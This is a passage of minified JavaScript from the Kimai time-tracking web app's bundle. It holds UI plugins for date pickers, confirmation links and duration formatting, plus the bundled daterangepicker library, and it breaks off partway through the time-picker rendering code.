sn(t){return(sn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function ln(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function cn(t,e){return(cn=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function un(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=fn(t);if(e){var r=fn(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return dn(this,n)}}function dn(t,e){return!e||"object"!==sn(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function fn(t){return(fn=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var hn=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&cn(t,e)}(o,t);var e,n,i,r=un(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).selector=t,e}return e=o,(n=[{key:"getId",value:function(){return"date-picker"}},{key:"activateDatePicker",value:function(t){var e=this.getContainer().getTranslation(),n=this.getContainer().getPlugin("date"),i=this.getConfiguration("first_dow_iso")%7;_()(t+" "+this.selector).each((function(t){var r=_()(this).data("format");_()(this).daterangepicker({singleDatePicker:!0,showDropdowns:!0,autoUpdateInput:!1,locale:{format:r,firstDay:i,applyLabel:e.get("confirm"),cancelLabel:e.get("cancel"),customRangeLabel:e.get("customRange"),daysOfWeek:n.getWeekDaysShort(),monthNames:n.getMonthNames()}}),_()(this).on("apply.daterangepicker",(function(t,e){_()(this).val(e.startDate.format(r)),_()(this).trigger("change")}))}))}},{key:"destroyDatePicker",value:function(t){_()(t+" "+this.selector).each((function(t){void 0!==_()(this).data("daterangepicker")&&(_()(this).daterangepicker("destroy"),_()(this).data("daterangepicker").remove())}))}}])&&ln(e.prototype,n),i&&ln(e,i),o}(l.a);function pn(t){return(pn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function mn(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function gn(t,e){return(gn=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function yn(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=bn(t);if(e){var r=bn(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return vn(this,n)}}function vn(t,e){return!e||"object"!==pn(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function bn(t){return(bn=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var wn=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&gn(t,e)}(o,t);var e,n,i,r=yn(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).selector=t,e}return e=o,(n=[{key:"init",value:function(){var t=this;document.addEventListener("click",(function(e){for(var n=e.target;null!==n&&!n.matches("body");)n.classList.contains(t.selector)&&function(){var i=n.dataset,r=i.href;r||(r=n.getAttribute("href"));var o=null;"submit"===n.type&&void 0!==n.form&&(o=n.form),void 0!==i.question&&t.getContainer().getPlugin("alert").question(i.question,(function(t){t&&(null===o?document.location=r:(null!==r&&(o.action=r),o.submit()))})),e.preventDefault(),e.stopPropagation()}(),n=n.parentNode}))}}])&&mn(e.prototype,n),i&&mn(e,i),o}(l.a),_n=n("+SIZ");n("DQNa"),n("JfAA"),n("4l63");function kn(t){return(kn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function xn(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function Sn(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function Dn(t,e){return(Dn=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Mn(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=Cn(t);if(e){var r=Cn(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return Tn(this,n)}}function Tn(t,e){return!e||"object"!==kn(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function Cn(t){return(Cn=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var Ln=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&Dn(t,e)}(a,t);var e,n,i,o=Mn(a);function a(){return xn(this,a),o.apply(this,arguments)}return e=a,(n=[{key:"getId",value:function(){return"date"}},{key:"getWeekDaysShort",value:function(){return r.a.localeData().weekdaysShort()}},{key:"getMonthNames",value:function(){return r.a.localeData().months()}},{key:"formatDuration",value:function(t){var e=r.a.duration(r()(new Date).diff(r()(t)));return this.formatMomentDuration(e)}},{key:"formatSeconds",value:function(t){var e=r.a.duration("PT"+t+"S");return this.formatMomentDuration(e)}},{key:"formatMomentDuration",value:function(t){var e=parseInt(t.asHours()).toString(),n=t.minutes(),i=t.seconds();return this.formatTime(e,n,i)}},{key:"formatTime",value:function(t,e,n){return t<0||e<0||n<0?"?":(1===t.length&&(t="0"+t),this.getConfiguration("formatDuration").replace("%h",t).replace("%m",("0"+e).substr(-2)).replace("%s",("0"+n).substr(-2)))}}])&&Sn(e.prototype,n),i&&Sn(e,i),a}(l.a);function On(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}var En=function(){function t(e,n){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),r.a.locale(e.locale.replace("_","-").toLowerCase());var i=new s.a(new a.a(e),new o.a(n));i.registerPlugin(new Oe),i.registerPlugin(new yt),i.registerPlugin(new Ve),i.registerPlugin(new Ln),i.registerPlugin(new Ge.a(".selectpicker")),i.registerPlugin(new wn("confirmation-link")),i.registerPlugin(new y("[data-since]")),i.registerPlugin(new O("data-column-visibility")),i.registerPlugin(new q('input[data-daterangepickerenable="on"]')),i.registerPlugin(new Yt('input[data-datetimepicker="on"]')),i.registerPlugin(new hn('input[data-datepickerenable="on"]')),i.registerPlugin(new tt("section.content","table.dataTable")),i.registerPlugin(new st("form.searchform","toolbar-action")),i.registerPlugin(new Tt("select[data-related-select]")),i.registerPlugin(new Gt(".alternative-link")),i.registerPlugin(new ne(".modal-ajax-form")),i.registerPlugin(new we("li.notifications-menu")),i.registerPlugin(new de("li.messages-menu","li.messages-menu-empty")),i.registerPlugin(new Ie("api-link")),i.registerPlugin(new Ke.a(".js-autocomplete")),i.registerPlugin(new an),i.registerPlugin(new $),i.registerPlugin(new _n.a),i.getPlugin("event").trigger("kimai.pluginRegister",{kimai:i}),i.getPlugins().map((function(t){t.init()})),i.getPlugin("event").trigger("kimai.initialized",{kimai:i}),this.kimai=i}var e,n,i;return e=t,(n=[{key:"getKimai",value:function(){return this.kimai}}])&&On(e.prototype,n),i&&On(e,i),t}()},eHjp:function(t,e,n){var i,r;i=[n("wd/R"),n("EVdn")],void 0===(r=function(t,e){return e.fn||(e.fn={}),"function"!=typeof t&&t.hasOwnProperty("default")&&(t=t.default),function(t,e){var n=function(n,i,r){if(this.parentEl="body",this.element=e(n),this.startDate=t().startOf("day"),this.endDate=t().endOf("day"),this.minDate=!1,this.maxDate=!1,this.maxSpan=!1,this.autoApply=!1,this.singleDatePicker=!1,this.showDropdowns=!1,this.minYear=t().subtract(100,"year").format("YYYY"),this.maxYear=t().add(100,"year").format("YYYY"),this.showWeekNumbers=!1,this.showISOWeekNumbers=!1,this.showCustomRangeLabel=!0,this.timePicker=!1,this.timePicker24Hour=!1,this.timePickerIncrement=1,this.timePickerSeconds=!1,this.linkedCalendars=!0,this.autoUpdateInput=!0,this.alwaysShowCalendars=!1,this.ranges={},this.opens="right",this.element.hasClass("pull-right")&&(this.opens="left"),this.drops="down",this.element.hasClass("dropup")&&(this.drops="up"),this.buttonClasses="btn btn-sm",this.applyButtonClasses="btn-primary",this.cancelButtonClasses="btn-default",this.locale={direction:"ltr",format:t.localeData().longDateFormat("L"),separator:" - ",applyLabel:"Apply",cancelLabel:"Cancel",weekLabel:"W",customRangeLabel:"Custom Range",daysOfWeek:t.weekdaysMin(),monthNames:t.monthsShort(),firstDay:t.localeData().firstDayOfWeek()},this.callback=function(){},this.isShowing=!1,this.leftCalendar={},this.rightCalendar={},"object"==typeof i&&null!==i||(i={}),"string"==typeof(i=e.extend(this.element.data(),i)).template||i.template instanceof e||(i.template='<div class="daterangepicker"><div class="ranges"></div><div class="drp-calendar left"><div class="calendar-table"></div><div class="calendar-time"></div></div><div class="drp-calendar right"><div class="calendar-table"></div><div class="calendar-time"></div></div><div class="drp-buttons"><span class="drp-selected"></span><button class="cancelBtn" type="button"></button><button class="applyBtn" disabled="disabled" type="button"></button> </div></div>'),this.parentEl=i.parentEl&&e(i.parentEl).length?e(i.parentEl):e(this.parentEl),this.container=e(i.template).appendTo(this.parentEl),"object"==typeof i.locale&&("string"==typeof i.locale.direction&&(this.locale.direction=i.locale.direction),"string"==typeof i.locale.format&&(this.locale.format=i.locale.format),"string"==typeof i.locale.separator&&(this.locale.separator=i.locale.separator),"object"==typeof i.locale.daysOfWeek&&(this.locale.daysOfWeek=i.locale.daysOfWeek.slice()),"object"==typeof i.locale.monthNames&&(this.locale.monthNames=i.locale.monthNames.slice()),"number"==typeof i.locale.firstDay&&(this.locale.firstDay=i.locale.firstDay),"string"==typeof i.locale.applyLabel&&(this.locale.applyLabel=i.locale.applyLabel),"string"==typeof i.locale.cancelLabel&&(this.locale.cancelLabel=i.locale.cancelLabel),"string"==typeof i.locale.weekLabel&&(this.locale.weekLabel=i.locale.weekLabel),"string"==typeof i.locale.customRangeLabel)){(f=document.createElement("textarea")).innerHTML=i.locale.customRangeLabel;var o=f.value;this.locale.customRangeLabel=o}if(this.container.addClass(this.locale.direction),"string"==typeof i.startDate&&(this.startDate=t(i.startDate,this.locale.format)),"string"==typeof i.endDate&&(this.endDate=t(i.endDate,this.locale.format)),"string"==typeof i.minDate&&(this.minDate=t(i.minDate,this.locale.format)),"string"==typeof i.maxDate&&(this.maxDate=t(i.maxDate,this.locale.format)),"object"==typeof i.startDate&&(this.startDate=t(i.startDate)),"object"==typeof i.endDate&&(this.endDate=t(i.endDate)),"object"==typeof i.minDate&&(this.minDate=t(i.minDate)),"object"==typeof i.maxDate&&(this.maxDate=t(i.maxDate)),this.minDate&&this.startDate.isBefore(this.minDate)&&(this.startDate=this.minDate.clone()),this.maxDate&&this.endDate.isAfter(this.maxDate)&&(this.endDate=this.maxDate.clone()),"string"==typeof i.applyButtonClasses&&(this.applyButtonClasses=i.applyButtonClasses),"string"==typeof i.applyClass&&(this.applyButtonClasses=i.applyClass),"string"==typeof i.cancelButtonClasses&&(this.cancelButtonClasses=i.cancelButtonClasses),"string"==typeof i.cancelClass&&(this.cancelButtonClasses=i.cancelClass),"object"==typeof i.maxSpan&&(this.maxSpan=i.maxSpan),"object"==typeof i.dateLimit&&(this.maxSpan=i.dateLimit),"string"==typeof i.opens&&(this.opens=i.opens),"string"==typeof i.drops&&(this.drops=i.drops),"boolean"==typeof i.showWeekNumbers&&(this.showWeekNumbers=i.showWeekNumbers),"boolean"==typeof i.showISOWeekNumbers&&(this.showISOWeekNumbers=i.showISOWeekNumbers),"string"==typeof i.buttonClasses&&(this.buttonClasses=i.buttonClasses),"object"==typeof i.buttonClasses&&(this.buttonClasses=i.buttonClasses.join(" ")),"boolean"==typeof i.showDropdowns&&(this.showDropdowns=i.showDropdowns),"number"==typeof i.minYear&&(this.minYear=i.minYear),"number"==typeof i.maxYear&&(this.maxYear=i.maxYear),"boolean"==typeof i.showCustomRangeLabel&&(this.showCustomRangeLabel=i.showCustomRangeLabel),"boolean"==typeof i.singleDatePicker&&(this.singleDatePicker=i.singleDatePicker,this.singleDatePicker&&(this.endDate=this.startDate.clone())),"boolean"==typeof i.timePicker&&(this.timePicker=i.timePicker),"boolean"==typeof i.timePickerSeconds&&(this.timePickerSeconds=i.timePickerSeconds),"number"==typeof i.timePickerIncrement&&(this.timePickerIncrement=i.timePickerIncrement),"boolean"==typeof i.timePicker24Hour&&(this.timePicker24Hour=i.timePicker24Hour),"boolean"==typeof i.autoApply&&(this.autoApply=i.autoApply),"boolean"==typeof i.autoUpdateInput&&(this.autoUpdateInput=i.autoUpdateInput),"boolean"==typeof i.linkedCalendars&&(this.linkedCalendars=i.linkedCalendars),"function"==typeof i.isInvalidDate&&(this.isInvalidDate=i.isInvalidDate),"function"==typeof i.isCustomDate&&(this.isCustomDate=i.isCustomDate),"boolean"==typeof i.alwaysShowCalendars&&(this.alwaysShowCalendars=i.alwaysShowCalendars),0!=this.locale.firstDay)for(var a=this.locale.firstDay;a>0;)this.locale.daysOfWeek.push(this.locale.daysOfWeek.shift()),a--;var s,l,c;if(void 0===i.startDate&&void 0===i.endDate&&e(this.element).is(":text")){var u=e(this.element).val(),d=u.split(this.locale.separator);s=l=null,2==d.length?(s=t(d[0],this.locale.format),l=t(d[1],this.locale.format)):this.singleDatePicker&&""!==u&&(s=t(u,this.locale.format),l=t(u,this.locale.format)),null!==s&&null!==l&&(this.setStartDate(s),this.setEndDate(l))}if("object"==typeof i.ranges){for(c in i.ranges){s="string"==typeof i.ranges[c][0]?t(i.ranges[c][0],this.locale.format):t(i.ranges[c][0]),l="string"==typeof i.ranges[c][1]?t(i.ranges[c][1],this.locale.format):t(i.ranges[c][1]),this.minDate&&s.isBefore(this.minDate)&&(s=this.minDate.clone());var f,h=this.maxDate;if(this.maxSpan&&h&&s.clone().add(this.maxSpan).isAfter(h)&&(h=s.clone().add(this.maxSpan)),h&&l.isAfter(h)&&(l=h.clone()),!(this.minDate&&l.isBefore(this.minDate,this.timepicker?"minute":"day")||h&&s.isAfter(h,this.timepicker?"minute":"day")))(f=document.createElement("textarea")).innerHTML=c,o=f.value,this.ranges[o]=[s,l]}var p="<ul>";for(c in this.ranges)p+='<li data-range-key="'+c+'">'+c+"</li>";this.showCustomRangeLabel&&(p+='<li data-range-key="'+this.locale.customRangeLabel+'">'+this.locale.customRangeLabel+"</li>"),p+="</ul>",this.container.find(".ranges").prepend(p)}"function"==typeof r&&(this.callback=r),this.timePicker||(this.startDate=this.startDate.startOf("day"),this.endDate=this.endDate.endOf("day"),this.container.find(".calendar-time").hide()),this.timePicker&&this.autoApply&&(this.autoApply=!1),this.autoApply&&this.container.addClass("auto-apply"),"object"==typeof i.ranges&&this.container.addClass("show-ranges"),this.singleDatePicker&&(this.container.addClass("single"),this.container.find(".drp-calendar.left").addClass("single"),this.container.find(".drp-calendar.left").show(),this.container.find(".drp-calendar.right").hide(),!this.timePicker&&this.autoApply&&this.container.addClass("auto-apply")),(void 0===i.ranges&&!this.singleDatePicker||this.alwaysShowCalendars)&&this.container.addClass("show-calendar"),this.container.addClass("opens"+this.opens),this.container.find(".applyBtn, .cancelBtn").addClass(this.buttonClasses),this.applyButtonClasses.length&&this.container.find(".applyBtn").addClass(this.applyButtonClasses),this.cancelButtonClasses.length&&this.container.find(".cancelBtn").addClass(this.cancelButtonClasses),this.container.find(".applyBtn").html(this.locale.applyLabel),this.container.find(".cancelBtn").html(this.locale.cancelLabel),this.container.find(".drp-calendar").on("click.daterangepicker",".prev",e.proxy(this.clickPrev,this)).on("click.daterangepicker",".next",e.proxy(this.clickNext,this)).on("mousedown.daterangepicker","td.available",e.proxy(this.clickDate,this)).on("mouseenter.daterangepicker","td.available",e.proxy(this.hoverDate,this)).on("change.daterangepicker","select.yearselect",e.proxy(this.monthOrYearChanged,this)).on("change.daterangepicker","select.monthselect",e.proxy(this.monthOrYearChanged,this)).on("change.daterangepicker","select.hourselect,select.minuteselect,select.secondselect,select.ampmselect",e.proxy(this.timeChanged,this)),this.container.find(".ranges").on("click.daterangepicker","li",e.proxy(this.clickRange,this)),this.container.find(".drp-buttons").on("click.daterangepicker","button.applyBtn",e.proxy(this.clickApply,this)).on("click.daterangepicker","button.cancelBtn",e.proxy(this.clickCancel,this)),this.element.is("input")||this.element.is("button")?this.element.on({"click.daterangepicker":e.proxy(this.show,this),"focus.daterangepicker":e.proxy(this.show,this),"keyup.daterangepicker":e.proxy(this.elementChanged,this),"keydown.daterangepicker":e.proxy(this.keydown,this)}):(this.element.on("click.daterangepicker",e.proxy(this.toggle,this)),this.element.on("keydown.daterangepicker",e.proxy(this.toggle,this))),this.updateElement()};return n.prototype={constructor:n,setStartDate:function(e){"string"==typeof e&&(this.startDate=t(e,this.locale.format)),"object"==typeof e&&(this.startDate=t(e)),this.timePicker||(this.startDate=this.startDate.startOf("day")),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.round(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement),this.minDate&&this.startDate.isBefore(this.minDate)&&(this.startDate=this.minDate.clone(),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.round(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement)),this.maxDate&&this.startDate.isAfter(this.maxDate)&&(this.startDate=this.maxDate.clone(),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.floor(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement)),this.isShowing||this.updateElement(),this.updateMonthsInView()},setEndDate:function(e){"string"==typeof e&&(this.endDate=t(e,this.locale.format)),"object"==typeof e&&(this.endDate=t(e)),this.timePicker||(this.endDate=this.endDate.endOf("day")),this.timePicker&&this.timePickerIncrement&&this.endDate.minute(Math.round(this.endDate.minute()/this.timePickerIncrement)*this.timePickerIncrement),this.endDate.isBefore(this.startDate)&&(this.endDate=this.startDate.clone()),this.maxDate&&this.endDate.isAfter(this.maxDate)&&(this.endDate=this.maxDate.clone()),this.maxSpan&&this.startDate.clone().add(this.maxSpan).isBefore(this.endDate)&&(this.endDate=this.startDate.clone().add(this.maxSpan)),this.previousRightTime=this.endDate.clone(),this.container.find(".drp-selected").html(this.startDate.format(this.locale.format)+this.locale.separator+this.endDate.format(this.locale.format)),this.isShowing||this.updateElement(),this.updateMonthsInView()},isInvalidDate:function(){return!1},isCustomDate:function(){return!1},updateView:function(){this.timePicker&&(this.renderTimePicker("left"),this.renderTimePicker("right"),this.endDate?this.container.find(".right .calendar-time select").prop("disabled",!1).removeClass("disabled"):this.container.find(".right .calendar-time select").prop("disabled",!0).addClass("disabled")),this.endDate&&this.container.find(".drp-selected").html(this.startDate.format(this.locale.format)+this.locale.separator+this.endDate.format(this.locale.format)),this.updateMonthsInView(),this.updateCalendars(),this.updateFormInputs()},updateMonthsInView:function(){if(this.endDate){if(!this.singleDatePicker&&this.leftCalendar.month&&this.rightCalendar.month&&(this.startDate.format("YYYY-MM")==this.leftCalendar.month.format("YYYY-MM")||this.startDate.format("YYYY-MM")==this.rightCalendar.month.format("YYYY-MM"))&&(this.endDate.format("YYYY-MM")==this.leftCalendar.month.format("YYYY-MM")||this.endDate.format("YYYY-MM")==this.rightCalendar.month.format("YYYY-MM")))return;this.leftCalendar.month=this.startDate.clone().date(2),this.linkedCalendars||this.endDate.month()==this.startDate.month()&&this.endDate.year()==this.startDate.year()?this.rightCalendar.month=this.startDate.clone().date(2).add(1,"month"):this.rightCalendar.month=this.endDate.clone().date(2)}else this.leftCalendar.month.format("YYYY-MM")!=this.startDate.format("YYYY-MM")&&this.rightCalendar.month.format("YYYY-MM")!=this.startDate.format("YYYY-MM")&&(this.leftCalendar.month=this.startDate.clone().date(2),this.rightCalendar.month=this.startDate.clone().date(2).add(1,"month"));this.maxDate&&this.linkedCalendars&&!this.singleDatePicker&&this.rightCalendar.month>this.maxDate&&(this.rightCalendar.month=this.maxDate.clone().date(2),this.leftCalendar.month=this.maxDate.clone().date(2).subtract(1,"month"))},updateCalendars:function(){var t,e,n,i;this.timePicker&&(this.endDate?(t=parseInt(this.container.find(".left .hourselect").val(),10),e=parseInt(this.container.find(".left .minuteselect").val(),10),isNaN(e)&&(e=parseInt(this.container.find(".left .minuteselect option:last").val(),10)),n=this.timePickerSeconds?parseInt(this.container.find(".left .secondselect").val(),10):0,this.timePicker24Hour||("PM"===(i=this.container.find(".left .ampmselect").val())&&t<12&&(t+=12),"AM"===i&&12===t&&(t=0))):(t=parseInt(this.container.find(".right .hourselect").val(),10),e=parseInt(this.container.find(".right .minuteselect").val(),10),isNaN(e)&&(e=parseInt(this.container.find(".right .minuteselect option:last").val(),10)),n=this.timePickerSeconds?parseInt(this.container.find(".right .secondselect").val(),10):0,this.timePicker24Hour||("PM"===(i=this.container.find(".right .ampmselect").val())&&t<12&&(t+=12),"AM"===i&&12===t&&(t=0))),this.leftCalendar.month.hour(t).minute(e).second(n),this.rightCalendar.month.hour(t).minute(e).second(n));this.renderCalendar("left"),this.renderCalendar("right"),this.container.find(".ranges li").removeClass("active"),null!=this.endDate&&this.calculateChosenLabel()},renderCalendar:function(n){var i,r=(i="left"==n?this.leftCalendar:this.rightCalendar).month.month(),o=i.month.year(),a=i.month.hour(),s=i.month.minute(),l=i.month.second(),c=t([o,r]).daysInMonth(),u=t([o,r,1]),d=t([o,r,c]),f=t(u).subtract(1,"month").month(),h=t(u).subtract(1,"month").year(),p=t([h,f]).daysInMonth(),m=u.day();(i=[]).firstDay=u,i.lastDay=d;for(var g=0;g<6;g++)i[g]=[];var y=p-m+this.locale.firstDay+1;y>p&&(y-=7),m==this.locale.firstDay&&(y=p-6);for(var v=t([h,f,y,12,s,l]),b=(g=0,0),w=0;g<42;g++,b++,v=t(v).add(24,"hour"))g>0&&b%7==0&&(b=0,w++),i[w][b]=v.clone().hour(a).minute(s).second(l),v.hour(12),this.minDate&&i[w][b].format("YYYY-MM-DD")==this.minDate.format("YYYY-MM-DD")&&i[w][b].isBefore(this.minDate)&&"left"==n&&(i[w][b]=this.minDate.clone()),this.maxDate&&i[w][b].format("YYYY-MM-DD")==this.maxDate.format("YYYY-MM-DD")&&i[w][b].isAfter(this.maxDate)&&"right"==n&&(i[w][b]=this.maxDate.clone());"left"==n?this.leftCalendar.calendar=i:this.rightCalendar.calendar=i;var _="left"==n?this.minDate:this.startDate,k=this.maxDate,x=("left"==n?this.startDate:this.endDate,this.locale.direction,'<table class="table-condensed">');x+="<thead>",x+="<tr>",(this.showWeekNumbers||this.showISOWeekNumbers)&&(x+="<th></th>"),_&&!_.isBefore(i.firstDay)||this.linkedCalendars&&"left"!=n?x+="<th></th>":x+='<th class="prev available"><span></span></th>';var S=this.locale.monthNames[i[1][1].month()]+i[1][1].format(" YYYY");if(this.showDropdowns){for(var D=i[1][1].month(),M=i[1][1].year(),T=k&&k.year()||this.maxYear,C=_&&_.year()||this.minYear,L=M==C,O=M==T,E='<select class="monthselect">',P=0;P<12;P++)(!L||_&&P>=_.month())&&(!O||k&&P<=k.month())?E+="<option value='"+P+"'"+(P===D?" selected='selected'":"")+">"+this.locale.monthNames[P]+"</option>":E+="<option value='"+P+"'"+(P===D?" selected='selected'":"")+" disabled='disabled'>"+this.locale.monthNames[P]+"</option>";E+="</select>";for(var A='<select class="yearselect">',Y=C;Y<=T;Y++)A+='<option value="'+Y+'"'+(Y===M?' selected="selected"':"")+">"+Y+"</option>";S=E+(A+="</select>")}if(x+='<th colspan="5" class="month">'+S+"</th>",k&&!k.isAfter(i.lastDay)||this.linkedCalendars&&"right"!=n&&!this.singleDatePicker?x+="<th></th>":x+='<th class="next available"><span></span></th>',x+="</tr>",x+="<tr>",(this.showWeekNumbers||this.showISOWeekNumbers)&&(x+='<th class="week">'+this.locale.weekLabel+"</th>"),e.each(this.locale.daysOfWeek,(function(t,e){x+="<th>"+e+"</th>"})),x+="</tr>",x+="</thead>",x+="<tbody>",null==this.endDate&&this.maxSpan){var j=this.startDate.clone().add(this.maxSpan).endOf("day");k&&!j.isBefore(k)||(k=j)}for(w=0;w<6;w++){for(x+="<tr>",this.showWeekNumbers?x+='<td class="week">'+i[w][0].week()+"</td>":this.showISOWeekNumbers&&(x+='<td class="week">'+i[w][0].isoWeek()+"</td>"),b=0;b<7;b++){var R=[];i[w][b].isSame(new Date,"day")&&R.push("today"),i[w][b].isoWeekday()>5&&R.push("weekend"),i[w][b].month()!=i[1][1].month()&&R.push("off","ends"),this.minDate&&i[w][b].isBefore(this.minDate,"day")&&R.push("off","disabled"),k&&i[w][b].isAfter(k,"day")&&R.push("off","disabled"),this.isInvalidDate(i[w][b])&&R.push("off","disabled"),i[w][b].format("YYYY-MM-DD")==this.startDate.format("YYYY-MM-DD")&&R.push("active","start-date"),null!=this.endDate&&i[w][b].format("YYYY-MM-DD")==this.endDate.format("YYYY-MM-DD")&&R.push("active","end-date"),null!=this.endDate&&i[w][b]>this.startDate&&i[w][b]<this.endDate&&R.push("in-range");var I=this.isCustomDate(i[w][b]);!1!==I&&("string"==typeof I?R.push(I):Array.prototype.push.apply(R,I));var $="",H=!1;for(g=0;g<R.length;g++)$+=R[g]+" ","disabled"==R[g]&&(H=!0);H||($+="available"),x+='<td class="'+$.replace(/^\s+|\s+$/g,"")+'" data-title="r'+w+"c"+b+'">'+i[w][b].date()+"</td>"}x+="</tr>"}x+="</tbody>",x+="</table>",this.container.find(".drp-calendar."+n+" .calendar-table").html(x)},renderTimePicker:function(t){if("right"!=t||this.endDate){var e,n,i,r=this.maxDate;if(!this.maxSpan||this.maxDate&&!this.startDate.clone().add(this.maxSpan).isBefore(this.maxDate)||(r=this.startDate.clone().add(this.maxSpan)),"left"==t)n=this.startDate.clone(),i=this.minDate;else if("right"==t){n=this.endDate.clone(),i=this.startDate;var o=this.container.find(".drp-calendar.right .calendar-time");if(""!=o.html()&&(n.hour(isNaN(n.hour())?o.find(".hourselect option:selected").val():n.hour()),n.minute(isNaN(n.minute())?o.find(".minuteselect option:selected").val():n.minute()),n.second(isNaN(n.second())?o.find(".secondselect option:selected").val():n.second()),!this.timePicker24Hour)){var a=o.find(".ampmselect option:selected").val();"PM"===a&&n.hour()<12&&n.hour(n.hour()+12),"AM"===a&&12===n.hour()&&n.hour(0)}n.isBefore(this.startDate)&&(n=this.startDate.clone()),r&&n.isAfter(r)&&(n=r.clone())}e='<select class="hourselect">';for(var s=this.timePicker24Hour?0:1,l=this.timePicker24Hour?23:12,c=s;c<=l;c++){var u=c;this.timePicker24Hour||(u=n.hour()>=12?12==c?12:c+12:12==c?0:c);var d=n.clone().hour(u),f=!1;i&&d.minute(59).isBefore(i)&&(f=!0),r&&d.minute(0).isAfter(r)&&(f=!0),u!=n.hour()||f?e+=f?'<option value="'+c+'" disabled="disabled" class="disabled">'+c+"</option>":'<option value="'+c+'">'+c+"</option>":e+='<option value="'+c+'" selected="selected">'+c+"</option>"}for(e+="</select> ",e+=': <select class="minuteselect">',c=0;c<60;c+=this.timePickerIncrement){var h=c<10?"0"+c:c;d=n.clone().minute(c),f=!1,i&&d.second(59).isBefore(i)&&(f=!0),r&&d.second(0).isAfter(r)&&(f=!0),n.minute()!=c||f?e+=f?'<option value="'+c+'" disabled="disabled" class="disabled">'+h+"</option>":'<option value="'+c+'">'+h+"</option>":e+='<option value="'+c+'" selected="selected">'+h+"</option>"}if(e+="</select> ",this.timePickerSeconds){for(e+=': <select class="secondselect">',c=0;c<60;c++)h=c<10?"0"+c:c,d=n.clone().second(c),f=!1,i&&d.isBefore(i)&&(f=!0),r&&d.isAfter(r)&&(f=!0),n.second()!=c||f?e+=f?'<option value="'+c+'" disabled="disabled" class="disabled">'+h+"</option>":'<option value="'+c+'">'+h+"</option>":e+='<option value="'+c+'" selected="selected">'+h+"</option>";e+="</select> "}if(!this.timePicker24Hour){e+='<select class="ampmselect">';var p="",m="";i&&n.clone().hour(12).minute(0).second(0).isBefore(i)&&(p=' disabled="disabled" class="disabled"'),r&&n.clone().hour(0).minute(0).second(0).isAfter(r)&&(m=' disabled="disabled" class="disabled"'),n.hour()>=12?e+='<option value="AM"'+p+'>AM</option><option value="PM" 